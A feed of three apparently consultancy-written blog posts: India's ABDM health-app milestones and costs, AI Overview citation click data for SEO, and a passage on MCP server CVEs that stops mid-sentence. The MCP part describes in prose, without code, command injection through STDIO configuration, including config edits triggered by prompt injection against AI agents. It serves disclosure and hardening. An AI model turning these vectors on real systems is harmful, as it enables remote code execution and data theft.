DEV Community: Manu Shukla

Healthcare app development in India: 4 ABDM milestones, 100 crore records

Manu Shukla — Wed, 15 Jul 2026 21:05:05 +0000

Healthcare app development in India: 4 ABDM milestones, 100 crore records

Summary. On 22 May 2026 the National Health Authority announced that over 100 crore health records are now linked to Ayushman Bharat Health Accounts, doubled from 50 crore in February 2025 in just 15 months. More than 450 public and private health technology solutions have integrated with the Ayushman Bharat Digital Mission. Uttar Pradesh alone accounts for over 15.03 crore linked records, Andhra Pradesh 11.95 crore. Roughly 10 crore records are now linked every two to three months. That changes what "healthcare app" means commercially in India: ABDM certification across milestones M1 to M4 is the entry ticket to the network, not a feature you add in year two. The technical bar is HL7 FHIR R4 with India-specific profiles, consent artefacts, encrypted record transfer, and a CERT-In or STQC empanelled security audit before the NHA grants production access. The compliance bar is the DPDP Act, where failure to maintain reasonable security safeguards carries a penalty of up to ₹250 crore. Vendor estimates put a lean healthcare MVP at ₹20 lakh to ₹50 lakh, with Indian engineering at ₹1,500 to ₹3,000 per hour. Here is what actually drives that number.

Why ABDM stopped being optional

Dr. Sunil Kumar Barnwal, CEO of the National Health Authority, framed the milestone in citizen terms:

"The linking of over 100 crore health records with ABHA is an important milestone in the journey of Ayushman Bharat Digital Mission. It reflects the increasing adoption of digital health services across Government programmes, States, health facilities and private technology partners."

The commercial reading is different from the policy reading. A network with 100 crore records and 450 integrated solutions has crossed the point where sitting outside it is a product decision with a cost. If a patient's prescriptions, lab reports and discharge summaries live in ABHA-linked records at every other facility they visit, an app that cannot read or write to that network is asking them to maintain a parallel medical history by hand.

The growth curve is the part worth planning against. ABDM went from fewer than 1,000 linked records in its initial phase to over 100 crore, doubling in the last 15 months. State-level distribution as of 22 May 2026:

State	ABHA-linked health records	Note
Uttar Pradesh	Over 15.03 crore	Leading contributor; eKavach platform
Andhra Pradesh	Over 11.95 crore	State health programmes
Bihar	Over 7.37 crore	Substantial progress recorded
Rajasthan	Over 6.32 crore	iHMS platform
Gujarat	Over 4.77 crore	TeCHO platform

If your addressable market is UP, Andhra Pradesh or Bihar, the network effect has already arrived. Building a non-ABDM app for those states in 2026 is building for a market that has moved.

The six building blocks you are integrating with

ABDM is not one API. It is digital public infrastructure with distinct components, and most scoping errors come from treating them as interchangeable.

Building block	What it does	When your app needs it
ABHA	Unique digital health identity for citizens	Any app that identifies a patient
HPR (Healthcare Professionals Registry)	Registry of verified practitioners	Apps with clinician accounts or e-prescribing
HFR (Health Facility Registry)	Registry of health facilities	Multi-facility or network apps
HIE-CM (Health Information Exchange and Consent Manager)	Consent-based record exchange	Any app reading or writing records
UHI (Unified Health Interface)	Open network for health services	Discovery and booking use cases
NHCX (National Health Claims Exchange)	Digital insurance claims	Payer integration and claims

The consent manager is the one teams underestimate. ABDM's model is consent-based exchange by design, which means consent artefacts are not a checkbox in your UI. They are objects with lifecycles that your data layer has to honour.

The four milestones, and which one is hard

NHA certification runs through progressive milestones. They are not difficulty tiers of the same work; they are different systems.

Milestone	Role your system takes	Core capability	Relative difficulty
M1	Identity provider	ABHA creation, OTP or QR verification, patient discovery and linking	Foundational
M2	Health Information Provider (HIP)	Create care contexts, respond to discovery, handle consent artefacts, transfer encrypted FHIR records	Hardest
M3	Health Information User (HIU)	Request consent, aggregate records across facilities, present clinical data	Moderate
M4	Claims participant	Digital insurance claims via NHCX	Payer-dependent

M1 flatters everyone. Creating an ABHA number and verifying a patient by OTP is a week of work, and it produces a demo that looks like ABDM compliance. It is not.

M2 is where budgets die. To act as a Health Information Provider you build a full FHIR R4 record-sharing system: care contexts created after each consultation, discovery requests answered from the Consent Manager, consent artefacts validated and honoured, records serialised and encrypted, and every access logged. Each of those is a distinct subsystem with its own failure modes.

Our experience of these builds is blunt: teams that scope M1 and M2 as one line item are usually off by a factor of three on M2 alone.

What FHIR R4 actually demands

ABDM uses HL7 FHIR R4 with India-specific profiles. Every ABDM-compliant facility must serialise clinical documents as FHIR resources so that any other compliant system can parse them. The resources you will implement, at minimum:

Patient              // demographics, ABHA linkage
Practitioner         // HPR-verified clinician
Organization         // HFR-registered facility
Encounter            // the visit
Observation          // vitals, lab results
Condition            // diagnoses
MedicationRequest    // prescriptions
DiagnosticReport     // lab and imaging reports
DocumentReference    // discharge summaries, scanned docs
AllergyIntolerance   // allergies
Procedure            // procedures performed

The trap here is not the resource list. It is that most Indian hospital systems store clinical data as free text or PDFs, and FHIR wants structure. A discharge summary that exists as a scanned image satisfies nobody: it can be wrapped in a DocumentReference, but the Condition and MedicationRequest resources inside it stay invisible to the network. Retrofitting structure onto years of unstructured records is the single largest hidden cost in ABDM projects, and it is a data problem, not an API problem.

The real cost is usually the migration, not the integration.

Certification is a security audit with an API attached

Before the NHA grants production access, your web application needs a security audit from a CERT-In or STQC empanelled agency. Certification agencies then review your M1, M2 and M3 workflows against NHA's official test case templates, covering ABHA creation, verification, discovery, consent handling and data transfer.

Two scheduling consequences follow, and they are why ABDM projects slip.

First, the audit is a dependency you do not control. Empanelled agencies have queues, and a failed audit means a remediation cycle plus a re-audit, not a same-week fix.

Second, sandbox success does not predict production success. The sandbox validates your workflows. The audit validates your security posture. Teams routinely pass one and fail the other, because they were built by different people to different standards.

Budget the audit at project start, not at the end. It is the item most likely to be discovered late and cost a quarter.

Where the money actually goes

Published Indian cost estimates vary widely enough that any single number should be treated with suspicion. Vendor guides put a lean healthcare MVP at roughly ₹20 lakh to ₹50 lakh, a telemedicine or patient portal platform at ₹1.25 crore to ₹2.5 crore, and a full custom EHR or hospital management system at ₹1.65 crore to ₹4.15 crore. Other India-focused guides quote materially lower domestic ranges for equivalent scope. Indian engineering rates cluster more consistently at ₹1,500 to ₹3,000 per hour.

The spread tells you something useful: these figures price feature lists, and feature lists are not what drives healthcare app cost. The drivers are:

Cost driver	Why it dominates	Typical underestimate
Unstructured data migration	FHIR needs structure; legacy records are PDFs and free text	Largest single overrun
M2 HIP subsystems	Consent, encryption, audit, care contexts are four systems	Scoped as one
CERT-In / STQC audit cycle	External queue plus remediation and re-audit	Scoped at zero
DPDP alignment	Consent architecture touches every data path	Retrofitted, not designed
Clinical workflow fidelity	An app clinicians route around has failed regardless of certification	Treated as UI polish

Compliance and data architecture are the major cost drivers in Indian healthcare builds, and retrofitting compliance later adds substantial cost. That is the one point on which the vendor guides agree with our own experience.

The consent artefact is a lifecycle, not a checkbox

Worth its own section, because it is where most M2 implementations go wrong.

In ABDM's model, a patient grants consent through the Health Information Exchange and Consent Manager, and your system receives a consent artefact. Teams tend to read that artefact once, decide the request is authorised, and serve the data. That is the bug.

A consent artefact carries scope and time boundaries. It names which care contexts are covered, what data types are permitted, and for how long. It can be revoked. It expires. Your data layer has to check it at the moment of access rather than at the moment of receipt, which means consent state has to be queryable from wherever records are served, not cached in the session that first saw it.

The discovery step has a matching subtlety. When a Consent Manager sends a discovery request, your system answers whether it holds records for that patient. Answer too loosely and you leak the existence of a care relationship to a request that was never authorised. Patient discovery is an information disclosure surface, and it deserves the same care as the record transfer itself.

None of this is exotic engineering. It is the sort of thing that gets built correctly when someone scopes it as a subsystem and gets built wrong when it appears as a ticket titled "handle consent".

Adoption is the metric that ABDM certification does not measure

A certified app that clinicians route around has consumed a budget and produced a compliance artefact.

The pattern to watch for: an outpatient department where the doctor writes on paper during the consultation and a data-entry operator keys it into the system afterwards. The facility is ABDM-compliant. The records reaching the network are a transcription of a transcription, entered by someone who was not in the room, hours later. The structure is real and the clinical fidelity is not.

This is why we put clinical workflow design alongside the milestone work rather than after it. FHIR resources are only as good as the moment of capture. If your Observation resources are typed in at 6pm from a paper chit, ABDM will accept them and no clinician will trust them.

India-specific considerations: DPDP runs on a separate clock

ABDM certification does not discharge your DPDP obligations. They are different regimes with different deadlines.

Under the Digital Personal Data Protection Act 2023, failure to maintain reasonable security safeguards attracts a penalty of up to ₹250 crore, and breach notification failures up to ₹200 crore. The Data Protection Board of India was established and the penalty framework became active in November 2025. The Consent Manager Framework becomes operational on 13 November 2026, and full compliance for data fiduciaries lands on 13 May 2027.

Health data is the highest-stakes category in that regime, and the timing is awkward in a specific way: teams building ABDM consent flows through 2026 are building consent architecture twice if they do not design for both regimes at once. ABDM's HIE-CM consent artefact and DPDP's Consent Manager obligations are related but not identical, and the sensible engineering call is one consent layer that satisfies both rather than two that argue.

We design applications aligned with DPDP Act and ABDM requirements. We do not claim to certify you; the CERT-In or STQC audit and the NHA review are independent gates, and any vendor promising to guarantee that outcome is telling you something untrue.

For the broader picture see our guides to DPDP compliance costs for Indian startups, healthcare AI deployment mistakes in Indian hospitals, and clinical AI under CDSCO and DPDP.

What eCorpIT builds

eCorpIT is a Gurugram technology consultancy founded in 2021, CMMI Level 5 assessed and MSME certified. Our healthcare engagements are structured around the milestones rather than around screens.

Data readiness first. Before any ABDM work, we assess how much of your clinical data is structured and how much is PDFs and free text. This determines your real timeline more than any other factor, and it is the assessment most vendors skip because the answer is usually unwelcome.

M1 to M3 implementation. ABHA identity and linking, then the HIP subsystems (care contexts, discovery, consent artefacts, encrypted FHIR transfer, audit logging) as separately scoped work, then HIU aggregation.

Audit preparation. Security posture built for the CERT-In or STQC review from the first sprint, not remediated after a failure.

Consent architecture that serves both regimes. One consent layer designed against ABDM's HIE-CM model and the DPDP Consent Manager timeline, ahead of the 13 November 2026 date.

Clinical workflow design. Apps that clinicians use rather than route around. Certification with no adoption is an expensive compliance artefact.

Who should not build this yet

If you run a single clinic with fewer than 20 daily consultations and paper records, ABDM certification is not your first problem. Structure your data first; the network will still be there.

If your product does not read or write clinical records, you may need M1 and nothing else. Do not let a vendor sell you M2.

If you want a fixed-price quote before anyone has looked at your data structure, no honest answer exists. The migration is the project.

FAQ

How many health records are linked to ABHA?

Over 100 crore as of 22 May 2026, per the National Health Authority. The figure doubled from 50 crore in February 2025 in 15 months, and roughly 10 crore new records are now linked every two to three months. More than 450 public and private health technology solutions have integrated with the ABDM ecosystem.

What are the ABDM M1, M2, M3 and M4 milestones?

M1 makes your system an identity provider handling ABHA creation, verification and patient discovery. M2 makes it a Health Information Provider sharing FHIR records on patient consent. M3 makes it a Health Information User fetching records from other providers. M4 enables digital insurance claims through the National Health Claims Exchange.

Which ABDM milestone is hardest to build?

M2. Acting as a Health Information Provider means building a full FHIR R4 record-sharing system with care contexts, discovery responses, consent artefact handling, encryption and audit logging. Each is a distinct subsystem. Teams that scope M1 and M2 together typically underestimate M2 substantially, because M1 demos deceptively well.

What FHIR version does ABDM use?

HL7 FHIR R4 with India-specific profiles. Core resources include Patient, Practitioner, Organization, Encounter, Observation, Condition, MedicationRequest, DiagnosticReport, DocumentReference, AllergyIntolerance and Procedure. Every compliant facility must serialise discharge summaries, prescriptions and lab reports as FHIR resources so other compliant systems can parse them.

Do I need a security audit for ABDM production access?

Yes. A web application security audit by a CERT-In or STQC empanelled agency is required before the NHA grants production access. Certification agencies separately test your M1, M2 and M3 workflows against NHA's official test case templates. Sandbox success does not predict audit success, so budget both from project start.

What does a healthcare app cost to build in India?

Vendor estimates vary widely and should be treated cautiously. Published guides put a lean MVP at ₹20 lakh to ₹50 lakh and a full custom EHR or hospital management system at ₹1.65 crore to ₹4.15 crore. Indian engineering rates are more consistent at ₹1,500 to ₹3,000 per hour.

Does ABDM certification cover my DPDP obligations?

No. They are separate regimes. Under the DPDP Act 2023, failure to maintain reasonable security safeguards carries a penalty of up to ₹250 crore and breach notification failures up to ₹200 crore. The Consent Manager Framework becomes operational on 13 November 2026, with full compliance for data fiduciaries on 13 May 2027.

What is the biggest hidden cost in an ABDM project?

Unstructured data. FHIR requires structured resources, and most Indian hospital systems hold clinical data as free text or scanned PDFs. A scanned discharge summary can be wrapped in a DocumentReference, but the diagnoses and prescriptions inside stay invisible to the network. Retrofitting structure onto legacy records typically dominates the budget.

How eCorpIT can help

eCorpIT builds clinical and patient applications for Indian hospital groups and healthtech founders, scoped around the ABDM milestones and the state of your existing clinical data rather than around a feature list. Our senior engineering teams handle ABHA identity, HIP and HIU implementation on FHIR R4, and consent architecture designed against both ABDM's HIE-CM model and the DPDP Consent Manager timeline. We design applications aligned with DPDP Act and ABDM requirements, and we will tell you honestly if data structuring should come before certification. Talk to us about a data readiness assessment before you commit to a milestone plan.

References

100 Crore Health Records Linked with ABHA under ABDM — Press Information Bureau, Ministry of Health and Family Welfare, 22 May 2026.
Health Data Management Policy — Ayushman Bharat Digital Mission, National Health Authority.
Health Data Management Policy of Ayushman Bharat Digital Mission — National Portal of India.
ABDM M1/M2/M3 Certification Guide India 2026: NHA Sandbox to Production — Codingclave.
ABDM Integration Milestones M1 M2 M3 M4 — Nirmitee.
ABDM Certification Process Explained: Sandbox to Production — Nirmitee.
ABDM FHIR Integration Guide 2026 — Adrine.
Building an ABDM HIP from Scratch: M2 Flow Reference Architecture — Nirmitee.
ABDM Sandbox Integration and Exit process — CoronaSafe Network ABDM documentation.
Milestone One (M1): ABHA and Identity Layer — AMRIT, Piramal Swasthya.
The Ayushman Bharat Digital Mission (ABDM) — PubMed Central, National Institutes of Health.
Healthcare App Development Cost: 2026 Guide — Aalpha.
Healthcare App Development Cost in US, India 2026 Guide — Lunar Web Solution.
India's DPDP Timeline: Critical Compliance Deadlines for 2026-27 — India Briefing.

Last updated: 16 July 2026.

GEO and AEO content services: 120% more clicks when AI cites you

Manu Shukla — Wed, 15 Jul 2026 20:58:44 +0000

GEO and AEO content services: 120% more clicks when AI cites you

Summary. Seer Interactive's April 2026 study, covering 53 brands, 5.47 million queries and 2.43 billion organic impressions, put a number on the thing everyone was arguing about: being cited inside an AI Overview delivers 120% more organic clicks per impression than not being cited on the same page. The click math is stark. Per million informational impressions, a brand cited in the AI Overview earns roughly 20,743 organic clicks; an uncited brand on that same AI Overview page earns roughly 9,445. A page with no AI Overview at all earns about 33,500. So citation is not a return to 2023, it is a 38% discount on it, and it still beats the alternative by more than double. Google's own guidance, updated on 10 July 2026, is blunt that this work is not a new discipline: "optimizing for generative AI search is optimizing for the search experience, and thus still SEO." Indian GEO retainers run ₹75,000 to ₹3,50,000 per month for mid-market scope. Here is what that money should and should not buy.

The number that matters, and the three numbers under it

Most GEO pitches lead with fear. The honest version leads with arithmetic.

Seer Interactive's third AI Overview CTR study, published 24 April 2026 by Product Development Lead Tracy McDonald and colleagues, tracked 53 brands from January 2025 through February 2026. For informational queries, the full-year average organic CTR broke down like this:

AI Overview status	Average organic CTR	Clicks per 1M impressions	Average paid CTR
No AI Overview shown	3.35%	~33,500	19.75%
AI Overview, brand cited	2.07%	~20,743	15.74%
AI Overview, brand not cited	0.94%	~9,445	11.19%

Read the middle row twice. Citation does not restore your traffic. It roughly doubles what you would otherwise get on a page you have already lost control of. Seer's own framing: a citation "is an advantage relative to everyone else on the same AIO-present SERP. It's not a return to the pre-AIO baseline."

Seer is careful about causation, and so are we. Their stated limit: "We cannot claim causation. Higher-authority brands are also more likely to be cited." Any agency telling you citations cause clicks is overselling a correlation. What the data supports is narrower and still useful: on pages where an AI Overview appears, cited brands consistently outperformed uncited ones every single month of 2025.

The 2026 reversal nobody predicted

Here is the part that should change your budget conversation.

Through 2025, every forecast pointed down. Seer's own regression model, built on twelve months of 2025 data, projected continued decline into 2026. It was wrong, in the useful direction. Organic CTR on AI-Overview-present queries fell to a floor of 1.31% in December 2025, then climbed to 2.33% in January 2026 and 2.36% in February 2026. That is an 85% recovery in two months, and every informational and transactional organic segment beat the model's projection in both months.

Non-AI-Overview queries moved too, from 2.75% organic CTR in January 2025 to 3.82% in February 2026.

The strategic reading is not "we won." It is that a straight-line 2025 extrapolation is now a bad planning assumption in both directions. If your agency's 2026 proposal is built on "traffic will keep collapsing, so pay us to hedge," that model has already been falsified by the most recent data.

Where AI Overviews actually appear

Exposure is not uniform, and this is where most content budgets are misallocated. Seer classified 49,353 distinct queries by intent:

Query intent	AI Overview prevalence	What it means for you
Informational	36%	Roughly 1 in 3 of your how-to and what-is queries
Commercial	8%	Brand evaluation queries largely intact, for now
Transactional	5%	Under 1 in 20; Shopping and Maps still own these SERPs

The 7x gap between informational and transactional exposure is the single most actionable fact in the study. If your organic programme is built on how-tos and comparisons, a third of it sits in AI Overview territory. If you sell through transactional queries, you have meaningful protection at current levels.

Drill into query shape and it gets sharper:

Query type	AI Overview rate	Organic impressions tracked
Comparison (X vs Y)	95.4%	79,436
Review queries	86.3%	21,221
Question (what/why/how/is/are)	85.9%	1,408,843
Price / cost / buy	83.4%	192,911
Best of	81.3%	105,279
Near me	76.9%	188,606
Single word	27.3%	25,042,440

Comparison pages trigger an AI Overview 95.4% of the time. If your content strategy runs on "X vs Y" posts, that traffic is already AI-Overview-affected, and the only question is whether you are the source being quoted or the site being summarised past.

Two findings deserve a second look. "Near me" informational queries show AI Overviews 76.9% of the time, which means Google is layering AI Overviews on top of local SERPs. And single-word queries still trigger them 27.3% of the time across 25 million impressions, so the folk wisdom that short queries are safe does not survive contact with the data.

What Google says you can ignore

This is the section most agencies skip, because it deletes half their deliverables. Google's guide to optimizing for generative AI features, last updated 10 July 2026, names the tactics that do nothing for Google Search:

llms.txt and other special files. Google's language: "You don't need to create new machine readable files, AI text files, markup, or Markdown to appear in Google Search (including its generative AI capabilities), as Google Search itself doesn't use them." Maintaining one is fine for other systems, but it "will neither harm nor help your site's visibility or rankings in Google Search, as Google Search ignores them."
Chunking content. No requirement to break pages into small pieces. There is no ideal page length.
Rewriting content just for AI systems. The systems understand synonyms and intent; you do not need every long-tail variation.
Seeking inauthentic mentions. Core ranking systems focus on quality content while other systems block spam.
Overfocusing on structured data. Not required for generative AI search, and no special schema.org markup exists for it. Keep using it for rich results, not as a GEO lever.

Google also warns explicitly about the tooling market: "Be wary of third-party tools that promise ranking success or claim to use 'internal' Google metrics. No third-party tool has access to our internal ranking or AI systems."

We would rather lose a pitch than sell a llms.txt file. If a proposal you are reading prices any of the five items above as a GEO deliverable, that is a reasonable place to end the meeting.

What actually drives citation

Google's guidance is specific about the mechanism. Generative AI features use retrieval-augmented generation, also called grounding, which relies on core Search ranking systems to retrieve relevant pages from the Search index. It also uses query fan-out: concurrent related queries the model generates to gather more context. Google's own worked example is a user asking "how to fix a lawn that's full of weeds", where fan-out queries might include "best herbicides for lawns" and "remove weeds without chemicals".

Two consequences follow, and they are the real work.

First, eligibility is technical. A page must be indexed and eligible to appear in Google Search with a snippet, and the site must be included in Search generative AI features in Search Console. Miss either and content quality is irrelevant.

Second, the differentiator is non-commodity content. Google draws the line with an example worth quoting because it is unusually concrete: commodity content is "something like '7 Tips for First-Time Homebuyers'", based on common knowledge that "could originate from anyone". Non-commodity content is "such as 'Why We Waived the Inspection & Saved Money: A Look Inside the Sewer Line'", providing "unique expert or experienced takes that go beyond common knowledge and the ordinary".

That distinction is the entire GEO brief. An AI Overview synthesises common knowledge for free. It cannot synthesise your first-hand data, your benchmark, or your pricing teardown, because those exist nowhere else. The only durable citation strategy is to publish things the model cannot generate without you.

There is a trap attached. Google's scaled content abuse spam policy explicitly covers creating separate content for every fan-out variation "primarily to manipulate rankings or generative AI responses". The tactic of mass-producing a page per fan-out query is not a clever GEO hack. It is the named violation.

The transactional story is more interesting than the informational one

Everyone reports the informational numbers because they are the biggest. The transactional numbers are where the money is, and they moved differently.

On transactional queries where an AI Overview appeared and the brand was not cited, organic CTR fell from 4.17% to 2.15% across 2025, a 48% decline over 1.73 million organic impressions. Every one of those lost clicks carried purchase intent, which makes the decline more expensive per click than anything happening in the informational band.

The cited side of the same cohort spent most of 2025 below 1% CTR, bottomed at 0.62% in September 2025, then climbed to 1.65% by December. Seer's summary: transactional queries with an AI Overview and a brand citation roughly doubled organic CTR across the year, from 0.7% in January 2025 to 1.7% in December.

Two things follow. Transactional exposure is low, at under 5%, so this is a small slice. But within that slice, citation went from irrelevant to worth defending in a single quarter. If you wrote off transactional AI Overview queries in mid-2025, the December data says look again.

Commercial queries carry a warning attached. Seer found commercial no-AI-Overview organic CTR declined meaningfully across 2025 despite minimal AI Overview exposure. Their conclusion is honest and uncomfortable: "AIO is not the only force compressing organic CTR. Something else is happening in commercial SERPs." Any agency attributing every commercial CTR decline to AI Overviews is telling you a story the data does not support.

Paid behaves nothing like organic

Worth knowing before you move budget on a hunch.

Paid CTR on AI-Overview-present queries held between 13.99% and 17.95% for all of 2025 with no meaningful decline, and reached 16.21% in February 2026. Seer's regression model predicted paid CTR on informational queries to within 0.09 percentage points in January 2026, while missing organic CTR by 0.6 to 2.6 percentage points across every segment.

The asymmetry is the insight. Paid is predictable because it is structurally depressed and stable. Organic is unpredictable because it is still being reshaped. Paid and organic are operating in different environments on the same page, and a plan that treats them as one system will misprice both.

The citation premium shows up in paid too: brand-cited paid CTR held a 4-plus percentage point advantage over uncited every single month of 2025.

What we build

eCorpIT is a Gurugram technology consultancy founded in 2021, CMMI Level 5 assessed and MSME certified, working across AI, cloud and search. Our GEO and AEO content engagements are deliberately narrow:

Exposure mapping. We classify your query set by intent and shape against the prevalence data above, so you know which slice of your programme is in the 36% informational band and which sits in the protected 5% transactional band. This is arithmetic on your own Search Console data, not a vendor score.

Non-commodity content production. Original benchmarks, cost teardowns, comparison tables with real numbers, and engineering or category analysis that carries a point of view. Written by people who have done the work, because Google's stated bar is first-hand experience over restatement.

Technical eligibility. Indexing, snippet eligibility, Search Console generative AI feature inclusion, crawlability, page experience, and structured data for rich results. Unglamorous and load-bearing.

Measurement that separates clicks from impressions. Seer found an instructive trap here: informational brand-cited CTR fell 52.1% in October 2025 and looked like a catastrophe, but clicks were flat at roughly 400,000 while impressions more than doubled from 15.8 million to 33.1 million. The brands had earned citations on more queries. The CTR fell because the denominator grew. Report CTR alone and you will fire a team that just succeeded.

India-specific considerations

Indian GEO and AEO retainers sit between ₹75,000 and ₹3,50,000 per month for mid-market engagements, with enterprise scope crossing ₹5,00,000 for multi-brand or multi-market work, per upGrowth's 2026 pricing benchmark. Project-based audits run ₹1,50,000 to ₹8,00,000 depending on depth and platform coverage. YMYL categories including fintech, healthcare, legal and insurance carry a 20% to 35% premium, because sourcing and authority requirements are heavier.

A useful sanity check on any Indian GEO quote: ask what percentage of the retainer is content production versus tooling and reporting. Given that Google says no third-party tool has access to its ranking or AI systems, a retainer weighted toward dashboards is buying you visibility into a problem rather than progress against it.

Where content touches personal data, the Digital Personal Data Protection Act 2023 applies to your forms and analytics regardless of search strategy. We design applications aligned with DPDP Act requirements. See our DPDP compliance cost guide for Indian startups for the November 2026 and May 2027 timelines.

Who this is not for

Honest scoping saves everyone a quarter.

If your traffic is 90% transactional and branded, AI Overview exposure is around 5% and you do not need a GEO retainer. Spend the money on conversion rate work.

If you want a guaranteed citation count, no one can sell you that truthfully. Google does not guarantee crawling, indexing or serving even for pages that meet every requirement.

If your plan is to publish 200 thin pages against fan-out queries, we will decline. That is the scaled content abuse policy, and it is a poor use of ₹1,50,000 a month besides.

FAQ

Is GEO different from SEO?

Not according to Google. Its guidance updated on 10 July 2026 states that optimizing for generative AI search is optimizing for the search experience, and thus still SEO. Generative AI features are rooted in core Search ranking and quality systems. The label is new; the underlying work of indexing, quality and authority is not.

How much is an AI Overview citation actually worth?

Seer Interactive's April 2026 study found being cited delivers 120% more organic clicks per impression than not being cited on the same page. In absolute terms, roughly 20,743 clicks per million informational impressions when cited versus 9,445 when not. It still underperforms a page with no AI Overview by 38%.

Should I create an llms.txt file?

Not for Google Search. Google states plainly that it does not use llms.txt or similar machine-readable files, and that maintaining one will neither harm nor help visibility or rankings because Google Search ignores them. It is fine to keep one for other services, but it should not be a priced GEO deliverable.

Which of my pages are most exposed to AI Overviews?

Comparison pages first, at a 95.4% AI Overview rate across Seer's tracked queries. Then review queries at 86.3% and question-format queries at 85.9%. By intent, informational queries show AI Overviews 36% of the time versus 5% for transactional. Audit comparison and question-format pages before anything else.

Is AI search traffic still declining in 2026?

No, and this is recent. After 18 months of decline, organic CTR on AI-Overview queries rose from a 1.31% floor in December 2025 to 2.36% in February 2026, an 85% recovery. Every informational and transactional organic segment beat Seer's projection model in January and February 2026.

Does structured data help me get cited?

Structured data is not required for generative AI search, and Google says there is no special schema.org markup for it. Keep using it, because it makes you eligible for rich results in normal Search. Treat it as standard SEO hygiene rather than a citation lever, and be sceptical of pricing built around it.

What does a GEO retainer cost in India?

Mid-market retainers run ₹75,000 to ₹3,50,000 per month, with enterprise multi-brand scope above ₹5,00,000, per upGrowth's 2026 benchmark. Project audits are ₹1,50,000 to ₹8,00,000. Fintech, healthcare, legal and insurance carry a 20% to 35% premium for heavier sourcing and authority requirements.

Why did my cited-page CTR drop even though nothing broke?

Probably because impressions grew faster than clicks. Seer recorded a 52.1% one-month CTR fall in October 2025 where clicks held near 400,000 but impressions doubled from 15.8 million to 33.1 million. The brands earned citations on more queries. Always read clicks and impressions separately before concluding anything.

How eCorpIT can help

eCorpIT builds GEO and AEO content programmes around the two things the 2026 data actually supports: technical eligibility for generative AI features, and non-commodity content that an AI Overview cannot produce without citing you. Our senior engineering and editorial teams work from your Search Console data rather than a vendor score, and we will tell you plainly if your query mix does not justify the spend. We are a multi-disciplinary organisation based in Gurugram, founded in 2021, CMMI Level 5 assessed. Talk to us about an exposure map for your query set before you commit to a retainer.

References

AIO Impact on Google CTR: 2026 Update — Seer Interactive, 24 April 2026.
Optimizing your website for generative AI features on Google Search — Google Search Central, updated 10 July 2026.
AIO Impact on Google CTR: September 2025 Update — Seer Interactive, 4 November 2025.
How AI Overviews Are Impacting CTR: 5 Initial Takeaways — Seer Interactive.
AI features and your website — Google Search Central.
Creating helpful, reliable, people-first content — Google Search Central.
Spam policies for Google web search: scaled content abuse — Google Search Central.
Guidance on third-party SEO tools and advice — Google Search Central.
Google Search Essentials: technical requirements — Google Search Central.
Google's New AI Search Guide Calls AEO And GEO 'Still SEO' — Search Engine Journal.
GEO AEO Pricing India 2026: Real Retainer Costs — upGrowth.
Tracy McDonald, Product Development Lead — Seer Interactive.
Generative AI performance report — Google Search Console Help.

Last updated: 16 July 2026.

11 MCP server CVEs in 2026: the hardening configs that stop them

Manu Shukla — Wed, 15 Jul 2026 20:51:00 +0000

11 MCP server CVEs in 2026: the hardening configs that stop them

Summary. On 20 April 2026, OX Security published research describing 11 CVEs across Model Context Protocol implementations, affecting more than 7,000 publicly accessible servers and packages totalling over 150 million downloads. The root cause is not a bug in one library. It is how the STDIO transport turns configuration data into executed commands, and it reaches Python, TypeScript, Java and Rust alike because it sits in Anthropic's reference SDK. Anthropic declined to change the protocol architecture, calling the behaviour expected. That decision moves the entire burden onto you, the operator. The precedent was set a year earlier: CVE-2025-49596 hit the MCP Inspector at CVSS 9.4 on 13 June 2025, and CVE-2025-6514 hit mcp-remote at CVSS 9.6 across 437,000 downloads. For Indian data fiduciaries the arithmetic is sharper still, because failure to maintain reasonable security safeguards under the DPDP Act carries a penalty of up to ₹250 crore. The controls below are the ones the MCP specification actually mandates, written as configuration rather than advice.

What OX Security found in April 2026

The research, published on 20 April 2026 by OX Security researchers Moshe Siman Tov Bustan, Mustafa Naamnih, Nir Zadok and Roni Bar, is blunt about the impact:

"This flaw enables Arbitrary Command Execution (RCE) on any system running a vulnerable MCP implementation, granting attackers direct access to sensitive user data, internal databases, API keys, and chat histories."

The finding is a design property, not an implementation slip. MCP servers launched over STDIO take a command string and arguments from configuration and hand the resulting process handle back to the model. If the command starts a working STDIO server, you get a handle. If it does not, the command still runs, and you get an error afterwards. The execution happens either way. That is the whole flaw, and it is why the same core issue keeps producing new CVE numbers in different projects.

OX Security grouped the resulting attacks into four shapes:

Unauthenticated and authenticated command injection via MCP STDIO.
Unauthenticated command injection via direct STDIO configuration, bypassing hardening.
Unauthenticated command injection via MCP configuration edits driven by zero-click prompt injection.
Unauthenticated command injection through MCP marketplaces, where a network request triggers a hidden STDIO configuration.

The fourth shape is the one that turns a local developer problem into a supply chain problem. OX Security's own summary of why it spread put it this way:

"What made this a supply chain event rather than a single CVE is that one architectural decision, made once, propagated silently into every language, every downstream library, and every project that trusted the protocol to be what it appeared to be."

Anthropic's position, as reported by The Hacker News on 20 April 2026, is that the behaviour is expected. Some downstream vendors have patched. The reference implementation has not changed. If you run MCP servers, you inherit the risk and you own the mitigation.

The 11 CVEs, and what they have in common

Every entry below traces to the same STDIO configuration-to-execution path. The projects differ; the mechanism does not.

CVE	Affected project	Patch status (as of 20 April 2026)
CVE-2025-65720	GPT Researcher	Unpatched at disclosure
CVE-2026-30623	LiteLLM	Patched
CVE-2026-30624	Agent Zero	Unpatched at disclosure
CVE-2026-30618	Fay Framework	Unpatched at disclosure
CVE-2026-33224	Bisheng	Patched
CVE-2026-30617	Langchain-Chatchat	Unpatched at disclosure
CVE-2026-30625	Upsonic	Unpatched at disclosure
CVE-2026-30615	Windsurf	Unpatched at disclosure
CVE-2026-26015	DocsGPT	Patched
CVE-2026-40933	Flowise	Unpatched at disclosure

OX Security also names a set of earlier, independently reported vulnerabilities built on the same core issue: CVE-2025-49596 in MCP Inspector, CVE-2026-22252 in LibreChat, CVE-2026-22688 in WeKnora, CVE-2025-54994 in @akoskm/create-mcp-server-stdio, and CVE-2025-54136 in Cursor. Five separate research efforts arrived at the same door.

The practical reading for a platform team: patching individual packages is necessary and insufficient. A patched LiteLLM does not protect you from the next agent framework that wires configuration straight into a subprocess. You have to contain the pattern, not chase the instances.

The MCP Inspector precedent: CVE-2025-49596

The clearest worked example predates the OX Security research by ten months, and it is worth understanding because the fix Anthropic shipped is the template for everything else.

Oligo Security reported a remote code execution and DNS rebinding vulnerability in MCP Inspector to Anthropic on 18 April 2025. Anthropic noted that another researcher had reported it on 26 March 2025. CVE-2025-49596 was published on 13 June 2025 with a CVSS score of 9.4.

Anthropic's advisory text is precise about the cause:

